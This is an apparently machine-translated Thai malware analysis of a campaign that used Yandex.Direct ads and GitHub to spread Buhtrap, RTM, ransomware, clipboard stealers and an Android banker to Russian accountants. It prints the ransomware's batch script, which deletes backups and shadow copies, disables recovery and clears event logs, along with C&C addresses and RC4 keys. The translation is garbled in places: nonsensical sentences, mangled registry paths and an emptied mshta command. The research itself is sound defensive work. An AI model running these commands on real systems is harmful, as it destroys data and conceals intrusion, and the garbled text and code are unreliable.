แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct

หากต้องการกำหนดเป้าหมายนักบัญชีในการโจมตีทางไซเบอร์ คุณสามารถใช้เอกสารการทำงานที่พวกเขาค้นหาทางออนไลน์ได้ นี่คือสิ่งที่กลุ่มไซเบอร์ทำโดยประมาณในช่วงไม่กี่เดือนที่ผ่านมา โดยกระจายแบ็คดอร์ที่รู้จัก บูธราพ и RTMรวมถึงตัวเข้ารหัสและซอฟต์แวร์สำหรับขโมยสกุลเงินดิจิทัล เป้าหมายส่วนใหญ่อยู่ในรัสเซีย การโจมตีดังกล่าวดำเนินการโดยการวางโฆษณาที่เป็นอันตรายบน Yandex.Direct ผู้ที่อาจตกเป็นเหยื่อจะถูกส่งไปยังเว็บไซต์ที่พวกเขาถูกขอให้ดาวน์โหลดไฟล์ที่เป็นอันตรายซึ่งปลอมตัวเป็นเทมเพลตเอกสาร ยานเดกซ์ลบโฆษณาที่เป็นอันตรายหลังจากคำเตือนของเรา

ซอร์สโค้ดของ Buhtrap เคยรั่วไหลทางออนไลน์ในอดีต ดังนั้นใครๆ ก็สามารถใช้ได้ เราไม่มีข้อมูลเกี่ยวกับความพร้อมใช้งานของรหัส RTM

ในโพสต์นี้ เราจะบอกคุณว่าผู้โจมตีกระจายมัลแวร์โดยใช้ Yandex.Direct และโฮสต์บน GitHub ได้อย่างไร โพสต์จะสรุปด้วยการวิเคราะห์ทางเทคนิคของมัลแวร์

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct

Buhtrap และ RTM กลับมาทำธุรกิจอีกครั้ง

กลไกการแพร่กระจายและเหยื่อ

เพย์โหลดต่างๆ ที่ส่งมอบให้กับเหยื่อมีกลไกการเผยแพร่ร่วมกัน ไฟล์ที่เป็นอันตรายทั้งหมดที่สร้างโดยผู้โจมตีจะถูกวางไว้ในที่เก็บ GitHub สองแห่ง

โดยทั่วไป พื้นที่เก็บข้อมูลจะมีไฟล์ที่เป็นอันตรายที่ดาวน์โหลดได้หนึ่งไฟล์ ซึ่งมีการเปลี่ยนแปลงบ่อยครั้ง เนื่องจาก GitHub ช่วยให้คุณดูประวัติการเปลี่ยนแปลงในพื้นที่เก็บข้อมูล เราจึงสามารถดูได้ว่ามีมัลแวร์ใดบ้างที่แพร่กระจายในช่วงเวลาหนึ่ง เพื่อโน้มน้าวให้เหยื่อดาวน์โหลดไฟล์ที่เป็นอันตราย จึงมีการใช้เว็บไซต์ blanki-shabloni24[.]ru ดังแสดงในรูปด้านบน

การออกแบบไซต์และชื่อไฟล์ที่เป็นอันตรายทั้งหมดเป็นไปตามแนวคิดเดียว - แบบฟอร์ม เทมเพลต สัญญา ตัวอย่าง ฯลฯ เมื่อพิจารณาว่าซอฟต์แวร์ Buhtrap และ RTM ได้ถูกนำไปใช้ในการโจมตีนักบัญชีในอดีตแล้ว เราจึงสันนิษฐานว่า กลยุทธ์ในแคมเปญใหม่ก็เหมือนเดิม คำถามเดียวคือเหยื่อเข้าถึงเว็บไซต์ของผู้โจมตีได้อย่างไร

การติดเชื้อ

ผู้ที่ตกเป็นเหยื่ออย่างน้อยหลายรายที่ลงเอยที่ไซต์นี้ถูกดึงดูดโดยโฆษณาที่เป็นอันตราย ด้านล่างนี้คือ URL ตัวอย่าง:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term=скачать бланк счета&pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

ดังที่คุณเห็นจากลิงก์ แบนเนอร์ดังกล่าวถูกโพสต์บนฟอรัมการบัญชีที่ถูกต้องตามกฎหมาย bb.f2[.]kz สิ่งสำคัญคือต้องทราบว่าแบนเนอร์ปรากฏบนไซต์ต่างๆ โดยทั้งหมดมีรหัสแคมเปญเดียวกัน (blanki_rsya) และส่วนใหญ่เกี่ยวข้องกับบริการด้านบัญชีหรือกฎหมาย URL แสดงให้เห็นว่าผู้ที่อาจเป็นเหยื่อใช้คำขอ “ดาวน์โหลดแบบฟอร์มใบแจ้งหนี้” ซึ่งสนับสนุนสมมติฐานของเราเกี่ยวกับการโจมตีแบบกำหนดเป้าหมาย ด้านล่างนี้คือไซต์ที่มีแบนเนอร์ปรากฏและคำค้นหาที่เกี่ยวข้อง

  • ดาวน์โหลดแบบฟอร์มใบแจ้งหนี้ – bb.f2[.]kz
  • สัญญาตัวอย่าง - Ipopen[.]ru
  • ตัวอย่างการร้องเรียนการสมัคร - 77metrov[.]ru
  • แบบฟอร์มข้อตกลง - blank-dogovor-kupli-prodazhi[.]ru
  • ตัวอย่างคำร้องของศาล - zen.yandex[.]ru
  • ตัวอย่างการร้องเรียน - yurday[.]ru
  • ตัวอย่างแบบฟอร์มสัญญา – Regforum[.]ru
  • แบบฟอร์มสัญญา – Assistentus[.]ru
  • ตัวอย่างข้อตกลงอพาร์ทเมนต์ – ​​napravah[.]com
  • ตัวอย่างสัญญาทางกฎหมาย - avito[.]ru

ไซต์ Blanki-shabloni24[.]ru อาจถูกกำหนดค่าให้ผ่านการประเมินด้วยภาพอย่างง่าย โดยทั่วไปแล้ว โฆษณาที่ชี้ไปยังไซต์ที่ดูเป็นมืออาชีพและมีลิงก์ไปยัง GitHub จะไม่ได้ดูแย่อย่างเห็นได้ชัด นอกจากนี้ ผู้โจมตียังอัปโหลดไฟล์ที่เป็นอันตรายไปยังพื้นที่เก็บข้อมูลในระยะเวลาที่จำกัด ซึ่งน่าจะเกิดขึ้นในระหว่างแคมเปญ โดยส่วนใหญ่แล้ว พื้นที่เก็บข้อมูล GitHub จะมีไฟล์ zip เปล่าหรือไฟล์ EXE เปล่า ดังนั้นผู้โจมตีสามารถเผยแพร่โฆษณาผ่าน Yandex.Direct บนไซต์ที่นักบัญชีน่าจะเข้าเยี่ยมชมมากที่สุดซึ่งเข้ามาเพื่อตอบสนองต่อคำค้นหาที่เฉพาะเจาะจง

ต่อไป เรามาดูเพย์โหลดต่างๆ ที่กระจายในลักษณะนี้กัน

การวิเคราะห์เพย์โหลด

ลำดับเหตุการณ์ของการกระจาย

แคมเปญที่เป็นอันตรายเริ่มต้นเมื่อปลายเดือนตุลาคม 2018 และเปิดใช้งานอยู่ในขณะที่เขียน เนื่องจากพื้นที่เก็บข้อมูลทั้งหมดเปิดเผยต่อสาธารณะบน GitHub เราจึงรวบรวมไทม์ไลน์ที่แม่นยำของการเผยแพร่มัลแวร์หกตระกูลที่แตกต่างกัน (ดูรูปด้านล่าง) เราได้เพิ่มบรรทัดที่แสดงเมื่อมีการค้นพบลิงก์แบนเนอร์ ซึ่งวัดโดยการวัดและส่งข้อมูลทางไกลของ ESET เพื่อเปรียบเทียบกับประวัติ Git อย่างที่คุณเห็น สิ่งนี้มีความสัมพันธ์ที่ดีกับความพร้อมใช้งานของเพย์โหลดบน GitHub ความคลาดเคลื่อน ณ สิ้นเดือนกุมภาพันธ์สามารถอธิบายได้ด้วยข้อเท็จจริงที่ว่าเราไม่ได้มีส่วนในประวัติการเปลี่ยนแปลงเนื่องจากพื้นที่เก็บข้อมูลถูกลบออกจาก GitHub ก่อนที่เราจะดำเนินการได้เต็มจำนวน

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct
รูปที่ 1 ลำดับเหตุการณ์ของการแพร่กระจายมัลแวร์

ใบรับรองการลงนามรหัส

แคมเปญใช้ใบรับรองหลายใบ มัลแวร์บางตัวลงนามโดยกลุ่มมัลแวร์มากกว่าหนึ่งกลุ่ม ซึ่งบ่งชี้เพิ่มเติมว่ากลุ่มตัวอย่างที่แตกต่างกันเป็นของแคมเปญเดียวกัน แม้จะมีคีย์ส่วนตัวให้พร้อมใช้งาน แต่ตัวดำเนินการก็ไม่ได้ลงนามในไบนารี่อย่างเป็นระบบและไม่ได้ใช้คีย์กับตัวอย่างทั้งหมด ปลายเดือนกุมภาพันธ์ 2019 ผู้โจมตีเริ่มสร้างลายเซ็นที่ไม่ถูกต้องโดยใช้ใบรับรองของ Google ซึ่งพวกเขาไม่มีรหัสส่วนตัว

ใบรับรองทั้งหมดที่เกี่ยวข้องกับแคมเปญและตระกูลมัลแวร์ที่ลงนามแสดงอยู่ในตารางด้านล่าง

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct

นอกจากนี้เรายังใช้ใบรับรองการลงนามโค้ดเหล่านี้เพื่อสร้างลิงก์กับตระกูลมัลแวร์อื่นๆ สำหรับใบรับรองส่วนใหญ่ เราไม่พบตัวอย่างที่ไม่ได้แจกจ่ายผ่านพื้นที่เก็บข้อมูล GitHub อย่างไรก็ตาม ใบรับรอง TOV “MARIYA” ถูกใช้เพื่อลงนามมัลแวร์ที่เป็นของบ็อตเน็ต วอโชสแอดแวร์และนักขุด ไม่น่าเป็นไปได้ที่มัลแวร์นี้เกี่ยวข้องกับแคมเปญนี้ เป็นไปได้มากว่าใบรับรองถูกซื้อบน darknet

Win32/Filecoder.Buhtrap

องค์ประกอบแรกที่ดึงดูดความสนใจของเราคือ Win32/Filecoder.Buhtrap ที่เพิ่งค้นพบ นี่คือไฟล์ไบนารี Delphi ที่บางครั้งได้รับการบรรจุ จัดจำหน่ายเป็นหลักในเดือนกุมภาพันธ์-มีนาคม 2019 มันทำงานเหมือนกับโปรแกรมแรนซัมแวร์ โดยจะค้นหาไดรฟ์ในเครื่องและโฟลเดอร์เครือข่าย และเข้ารหัสไฟล์ที่ตรวจพบ ไม่จำเป็นต้องเชื่อมต่ออินเทอร์เน็ตเพื่อให้ถูกบุกรุกเนื่องจากไม่ได้ติดต่อกับเซิร์ฟเวอร์เพื่อส่งคีย์เข้ารหัส แต่จะเพิ่ม “โทเค็น” ต่อท้ายข้อความเรียกค่าไถ่แทน และแนะนำให้ใช้อีเมลหรือ Bitmessage เพื่อติดต่อโอเปอเรเตอร์

เพื่อเข้ารหัสทรัพยากรที่ละเอียดอ่อนให้ได้มากที่สุด Filecoder.Buhtrap จะรันเธรดที่ออกแบบมาเพื่อปิดซอฟต์แวร์หลักที่อาจมีตัวจัดการไฟล์แบบเปิดที่มีข้อมูลอันมีค่าที่อาจรบกวนการเข้ารหัส กระบวนการเป้าหมายส่วนใหญ่เป็นระบบการจัดการฐานข้อมูล (DBMS) นอกจากนี้ Filecoder.Buhtrap ยังลบไฟล์บันทึกและข้อมูลสำรองเพื่อทำให้การกู้คืนข้อมูลทำได้ยาก เมื่อต้องการทำเช่นนี้ ให้เรียกใช้สคริปต์ชุดงานด้านล่างนี้

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
attrib "%userprofile%documentsDefault.rdp" -s -h
del "%userprofile%documentsDefault.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

Filecoder.Buhtrap ใช้บริการ IP Logger ออนไลน์ที่ถูกกฎหมาย ซึ่งออกแบบมาเพื่อรวบรวมข้อมูลเกี่ยวกับผู้เยี่ยมชมเว็บไซต์ สิ่งนี้มีจุดประสงค์เพื่อติดตามเหยื่อของแรนซัมแวร์ซึ่งเป็นความรับผิดชอบของบรรทัดคำสั่ง:

mshta.exe "javascript:document.write('');"

ไฟล์สำหรับการเข้ารหัสจะถูกเลือกหากไม่ตรงกับรายการยกเว้นสามรายการ ประการแรก ไฟล์ที่มีนามสกุลต่อไปนี้จะไม่ถูกเข้ารหัส: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys และ .ค้างคาว. ประการที่สอง ไฟล์ทั้งหมดที่เส้นทางแบบเต็มมีสตริงไดเรกทอรีจากรายการด้านล่างจะถูกแยกออก

.{ED7BA470-8E54-465E-825C-99712043E01C}
tor browser
opera
opera software
mozilla
mozilla firefox
internet explorer
googlechrome
google
boot
application data
apple computersafari
appdata
all users
:windows
:system volume information
:nvidia
:intel

ประการที่สาม ชื่อไฟล์บางไฟล์จะไม่รวมอยู่ในการเข้ารหัส รวมถึงชื่อไฟล์ของข้อความเรียกค่าไถ่ รายการแสดงอยู่ด้านล่าง แน่นอนว่าข้อยกเว้นทั้งหมดนี้มีจุดมุ่งหมายเพื่อให้รถทำงานต่อไปได้ แต่มีความคุ้มค่าบนท้องถนนน้อยที่สุด

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

รูปแบบการเข้ารหัสไฟล์

เมื่อดำเนินการแล้ว มัลแวร์จะสร้างคู่คีย์ RSA 512 บิต จากนั้นเลขชี้กำลังส่วนตัว (d) และโมดูลัส (n) จะถูกเข้ารหัสด้วยรหัสสาธารณะ 2048 บิตแบบฮาร์ดโค้ด (เลขชี้กำลังสาธารณะและโมดูลัส) บรรจุ zlib และเข้ารหัส base64 รหัสที่รับผิดชอบจะแสดงในรูปที่ 2

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct
รูปที่ 2 ผลลัพธ์ของการคอมไพล์ Hex-Rays ของกระบวนการสร้างคู่คีย์ RSA 512 บิต

ด้านล่างนี้คือตัวอย่างของข้อความธรรมดาที่มีคีย์ส่วนตัวที่สร้างขึ้น ซึ่งเป็นโทเค็นที่แนบมากับข้อความเรียกค่าไถ่

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

รหัสสาธารณะของผู้โจมตีได้รับด้านล่าง

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

ไฟล์ถูกเข้ารหัสโดยใช้ AES-128-CBC พร้อมคีย์ 256 บิต สำหรับไฟล์ที่เข้ารหัสแต่ละไฟล์ จะมีการสร้างคีย์ใหม่และเวกเตอร์การเริ่มต้นใหม่ ข้อมูลสำคัญจะถูกเพิ่มที่ส่วนท้ายของไฟล์ที่เข้ารหัส พิจารณารูปแบบของไฟล์ที่เข้ารหัส
ไฟล์ที่เข้ารหัสจะมีส่วนหัวดังต่อไปนี้:

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct

ข้อมูลไฟล์ต้นฉบับที่เพิ่มค่าเวทย์มนตร์ VEGA จะถูกเข้ารหัสเป็น 0x5000 ไบต์แรก ข้อมูลการถอดรหัสทั้งหมดจะแนบมากับไฟล์ที่มีโครงสร้างดังต่อไปนี้:

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct

- เครื่องหมายขนาดไฟล์มีเครื่องหมายระบุว่าไฟล์มีขนาดใหญ่กว่า 0x5000 ไบต์หรือไม่
— คีย์ AES blob = ZlibCompress(RSAEncrypt(คีย์ AES + IV, คีย์สาธารณะของคู่คีย์ RSA ที่สร้างขึ้น))
- RSA key blob = ZlibCompress(RSAEncrypt (รหัสส่วนตัว RSA ที่สร้างขึ้น, รหัสสาธารณะ RSA แบบฮาร์ดโค้ด))

Win32/ClipBanker

Win32/ClipBanker เป็นส่วนประกอบที่แจกจ่ายเป็นระยะตั้งแต่ปลายเดือนตุลาคมถึงต้นเดือนธันวาคม 2018 บทบาทของมันคือการตรวจสอบเนื้อหาของคลิปบอร์ด ค้นหาที่อยู่ของกระเป๋าเงินดิจิตอล เมื่อระบุที่อยู่กระเป๋าเงินเป้าหมายแล้ว ClipBanker จะแทนที่ด้วยที่อยู่ที่เชื่อว่าเป็นของผู้ดำเนินการ ตัวอย่างที่เราตรวจสอบไม่ได้บรรจุอยู่ในกล่องหรือทำให้สับสน กลไกเดียวที่ใช้ในการปกปิดพฤติกรรมคือการเข้ารหัสสตริง ที่อยู่กระเป๋าเงินของผู้ให้บริการถูกเข้ารหัสโดยใช้ RC4 สกุลเงินดิจิตอลเป้าหมายคือ Bitcoin, เงินสด Bitcoin, Dogecoin, Ethereum และ Ripple

ในช่วงที่มัลแวร์แพร่กระจายไปยังกระเป๋าเงิน Bitcoin ของผู้โจมตี จำนวนเล็กน้อยถูกส่งไปยัง VTS ซึ่งทำให้เกิดข้อสงสัยในความสำเร็จของแคมเปญ นอกจากนี้ยังไม่มีหลักฐานที่บ่งชี้ว่าธุรกรรมเหล่านี้เกี่ยวข้องกับ ClipBanker เลย

Win32/RTM

ส่วนประกอบ Win32/RTM ได้รับการเผยแพร่เป็นเวลาหลายวันในช่วงต้นเดือนมีนาคม 2019 RTM เป็นนายธนาคารโทรจันที่เขียนด้วยภาษา Delphi ซึ่งมุ่งเป้าไปที่ระบบธนาคารทางไกล ในปี 2017 นักวิจัยของ ESET เผยแพร่ การวิเคราะห์โดยละเอียด ของโปรแกรมนี้คำอธิบายยังคงมีความเกี่ยวข้อง ในเดือนมกราคม 2019 Palo Alto Networks ก็เปิดตัวเช่นกัน โพสต์ในบล็อกเกี่ยวกับ RTM.

รถตัก Buhtrap

ในบางครั้ง มีตัวดาวน์โหลดให้บริการบน GitHub ซึ่งไม่เหมือนกับเครื่องมือ Buhtrap รุ่นก่อนๆ เขาหันไปหา https://94.100.18[.]67/RSS.php?<some_id> เพื่อไปยังขั้นตอนต่อไปและโหลดลงในหน่วยความจำโดยตรง เราสามารถแยกแยะพฤติกรรมสองประการของโค้ดขั้นที่สองได้ ใน URL แรก RSS.php ส่งผ่านแบ็คดอร์ Buhtrap โดยตรง - แบ็คดอร์นี้คล้ายกันมากกับอันที่มีอยู่หลังจากซอร์สโค้ดรั่วไหล

สิ่งที่น่าสนใจคือเราเห็นหลายแคมเปญที่มีแบ็คดอร์ Buhtrap และถูกกล่าวหาว่าดำเนินการโดยโอเปอเรเตอร์ที่แตกต่างกัน ในกรณีนี้ ข้อแตกต่างที่สำคัญคือโหลดแบ็คดอร์ลงในหน่วยความจำโดยตรงและไม่ได้ใช้รูปแบบปกติกับกระบวนการปรับใช้ DLL ที่เราพูดถึง ก่อนที่. นอกจากนี้ ผู้ดำเนินการยังเปลี่ยนคีย์ RC4 ที่ใช้ในการเข้ารหัสการรับส่งข้อมูลเครือข่ายไปยังเซิร์ฟเวอร์ C&C ในแคมเปญส่วนใหญ่ที่เราพบเห็น ผู้ดำเนินการไม่ได้สนใจที่จะเปลี่ยนคีย์นี้

พฤติกรรมประการที่สองที่ซับซ้อนกว่าคือ RSS.php URL ถูกส่งไปยังตัวโหลดอื่น มีการนำความสับสนบางอย่างมาใช้ เช่น การสร้างตารางการนำเข้าแบบไดนามิกขึ้นมาใหม่ วัตถุประสงค์ของ bootloader คือการติดต่อเซิร์ฟเวอร์ C&C msiofficeupd[.]com/api/F27F84EDA4D13B15/2 ส่งบันทึกและรอการตอบกลับ โดยจะประมวลผลการตอบสนองในรูปแบบหยด โหลดลงในหน่วยความจำ และดำเนินการ เพย์โหลดที่เราเห็นขณะเรียกใช้ตัวโหลดนี้เป็นแบ็คดอร์ Buhtrap ตัวเดียวกัน แต่อาจมีส่วนประกอบอื่นๆ

Android/Spy.Banker

สิ่งที่น่าสนใจคือพบส่วนประกอบสำหรับ Android ในพื้นที่เก็บข้อมูล GitHub ด้วย เขาอยู่ในสาขาหลักเพียงวันเดียว - 1 พฤศจิกายน 2018 นอกเหนือจากการโพสต์บน GitHub แล้ว การตรวจวัดทางไกลของ ESET ยังไม่พบหลักฐานว่ามีการแพร่กระจายมัลแวร์นี้

คอมโพเนนต์โฮสต์เป็น Android Application Package (APK) มันสับสนอย่างมาก พฤติกรรมที่เป็นอันตรายถูกซ่อนอยู่ใน JAR ที่เข้ารหัสซึ่งอยู่ใน APK มันถูกเข้ารหัสด้วย RC4 โดยใช้คีย์นี้:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

ใช้คีย์และอัลกอริธึมเดียวกันในการเข้ารหัสสตริง JAR ตั้งอยู่ใน APK_ROOT + image/files. 4 ไบต์แรกของไฟล์มีความยาวของ JAR ที่เข้ารหัส ซึ่งเริ่มต้นทันทีหลังฟิลด์ความยาว

หลังจากถอดรหัสไฟล์แล้ว เราพบว่ามันคือ Anubis - ก่อนหน้านี้ จัดทำเป็นเอกสาร นายธนาคารสำหรับ Android มัลแวร์มีคุณสมบัติดังต่อไปนี้:

  • การบันทึกไมโครโฟน
  • กำลังจับภาพหน้าจอ
  • รับพิกัด GPS
  • คีย์ล็อกเกอร์
  • การเข้ารหัสข้อมูลอุปกรณ์และความต้องการค่าไถ่
  • สแปม

สิ่งที่น่าสนใจคือนายธนาคารใช้ Twitter เป็นช่องทางการสื่อสารสำรองเพื่อรับเซิร์ฟเวอร์ C&C อื่น ตัวอย่างที่เราวิเคราะห์ใช้บัญชี @JonesTrader แต่ในขณะที่วิเคราะห์นั้นถูกบล็อกไปแล้ว

นายธนาคารมีรายการแอปพลิเคชันเป้าหมายบนอุปกรณ์ Android ซึ่งมีความยาวมากกว่ารายการที่ได้รับในการศึกษาของ Sophos รายการนี้ประกอบด้วยแอปพลิเคชันธนาคาร โปรแกรมช้อปปิ้งออนไลน์ เช่น Amazon และ eBay และบริการสกุลเงินดิจิทัล

MSIL/ClipBanker.IH

องค์ประกอบสุดท้ายที่เผยแพร่โดยเป็นส่วนหนึ่งของแคมเปญนี้คือไฟล์ปฏิบัติการ .NET Windows ซึ่งปรากฏในเดือนมีนาคม 2019 เวอร์ชันที่ศึกษาส่วนใหญ่บรรจุมาพร้อมกับ ConfuserEx v1.0.0 เช่นเดียวกับ ClipBanker ส่วนประกอบนี้ใช้คลิปบอร์ด เป้าหมายของเขาคือสกุลเงินดิจิทัลที่หลากหลาย รวมถึงข้อเสนอบน Steam นอกจากนี้เขายังใช้บริการ IP Logger เพื่อขโมยคีย์ WIF ส่วนตัวของ Bitcoin

กลไกการป้องกัน
นอกเหนือจากประโยชน์ที่ ConfuserEx มอบให้ในการป้องกันการแก้ไขจุดบกพร่อง การดัมพ์ และการปลอมแปลงแล้ว ส่วนประกอบยังรวมถึงความสามารถในการตรวจจับผลิตภัณฑ์ป้องกันไวรัสและเครื่องเสมือนอีกด้วย

เพื่อตรวจสอบว่ามัลแวร์ทำงานในเครื่องเสมือน มัลแวร์จะใช้บรรทัดคำสั่ง Windows WMI (WMIC) ในตัวเพื่อขอข้อมูล BIOS ได้แก่:

wmic bios

จากนั้นโปรแกรมจะแยกวิเคราะห์เอาต์พุตคำสั่งและค้นหาคำหลัก: VBOX, VirtualBox, XEN, qemu, bochs, VM

เพื่อตรวจจับผลิตภัณฑ์ป้องกันไวรัส มัลแวร์จะส่งคำขอ Windows Management Instrumentation (WMI) ไปยัง Windows Security Center โดยใช้ ManagementObjectSearcher API ดังที่แสดงด้านล่าง หลังจากถอดรหัสจาก base64 การโทรจะเป็นดังนี้:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct
รูปที่ 3 กระบวนการในการระบุผลิตภัณฑ์ป้องกันไวรัส

นอกจากนี้มัลแวร์จะตรวจสอบว่า CryptoClipWatcherซึ่งเป็นเครื่องมือในการป้องกันการโจมตีจากคลิปบอร์ด และหากทำงานอยู่ จะระงับเธรดทั้งหมดในกระบวนการนั้น ดังนั้นจึงปิดใช้งานการป้องกัน

วิริยะ

เวอร์ชันของมัลแวร์ที่เราศึกษาก็คัดลอกตัวเองเข้าไป %APPDATA%googleupdater.exe และตั้งค่าแอตทริบิวต์ "hidden" สำหรับไดเร็กทอรี google จากนั้นเธอก็เปลี่ยนค่า SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell ในรีจิสทรีของ Windows และเพิ่มเส้นทาง updater.exe. ด้วยวิธีนี้ มัลแวร์จะถูกดำเนินการทุกครั้งที่ผู้ใช้เข้าสู่ระบบ

พฤติกรรมที่เป็นอันตราย

เช่นเดียวกับ ClipBanker มัลแวร์จะตรวจสอบเนื้อหาของคลิปบอร์ดและค้นหาที่อยู่กระเป๋าเงินดิจิทัล และเมื่อพบจะแทนที่ด้วยหนึ่งในที่อยู่ของผู้ให้บริการ ด้านล่างนี้คือรายการที่อยู่เป้าหมายตามสิ่งที่พบในโค้ด

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

สำหรับที่อยู่แต่ละประเภทจะมีนิพจน์ทั่วไปที่สอดคล้องกัน ค่า STEAM_URL ใช้เพื่อโจมตีระบบ Steam ดังที่เห็นได้จากนิพจน์ทั่วไปที่ใช้ในการกำหนดในบัฟเฟอร์:

b(https://|http://|)steamcommunity.com/tradeoffer/new/?partner=[0-9]+&token=[a-zA-Z0-9]+b

ช่องทางการกรอง

นอกเหนือจากการแทนที่ที่อยู่ในบัฟเฟอร์แล้ว มัลแวร์ยังกำหนดเป้าหมายไปที่คีย์ WIF ส่วนตัวของ Bitcoin, Bitcoin Core และ Electrum Bitcoin wallets โปรแกรมใช้ plogger.org เป็นช่องทางการกรองเพื่อรับคีย์ส่วนตัว WIF ในการดำเนินการนี้ ตัวดำเนินการจะเพิ่มข้อมูลคีย์ส่วนตัวลงในส่วนหัว User-Agent HTTP ดังที่แสดงด้านล่าง

แบ็คดอร์และตัวเข้ารหัส Buhtrap ได้รับการเผยแพร่โดยใช้ Yandex.Direct
รูปที่ 4 คอนโซล IP Logger พร้อมข้อมูลเอาต์พุต

ผู้ดำเนินการไม่ได้ใช้ iplogger.org เพื่อถอนกระเป๋าสตางค์ พวกเขาอาจหันไปใช้วิธีอื่นเนื่องจากขีดจำกัดอักขระ 255 ตัวในฟิลด์ User-Agentแสดงในเว็บอินเตอร์เฟส IP Logger ในกลุ่มตัวอย่างที่เราศึกษา เซิร์ฟเวอร์เอาท์พุตอื่นถูกจัดเก็บไว้ในตัวแปรสภาพแวดล้อม DiscordWebHook. น่าแปลกที่ตัวแปรสภาพแวดล้อมนี้ไม่ได้ถูกกำหนดไว้ที่ใดก็ได้ในโค้ด สิ่งนี้ชี้ให้เห็นว่ามัลแวร์ยังอยู่ระหว่างการพัฒนาและมีการกำหนดตัวแปรให้กับเครื่องทดสอบของผู้ปฏิบัติงาน

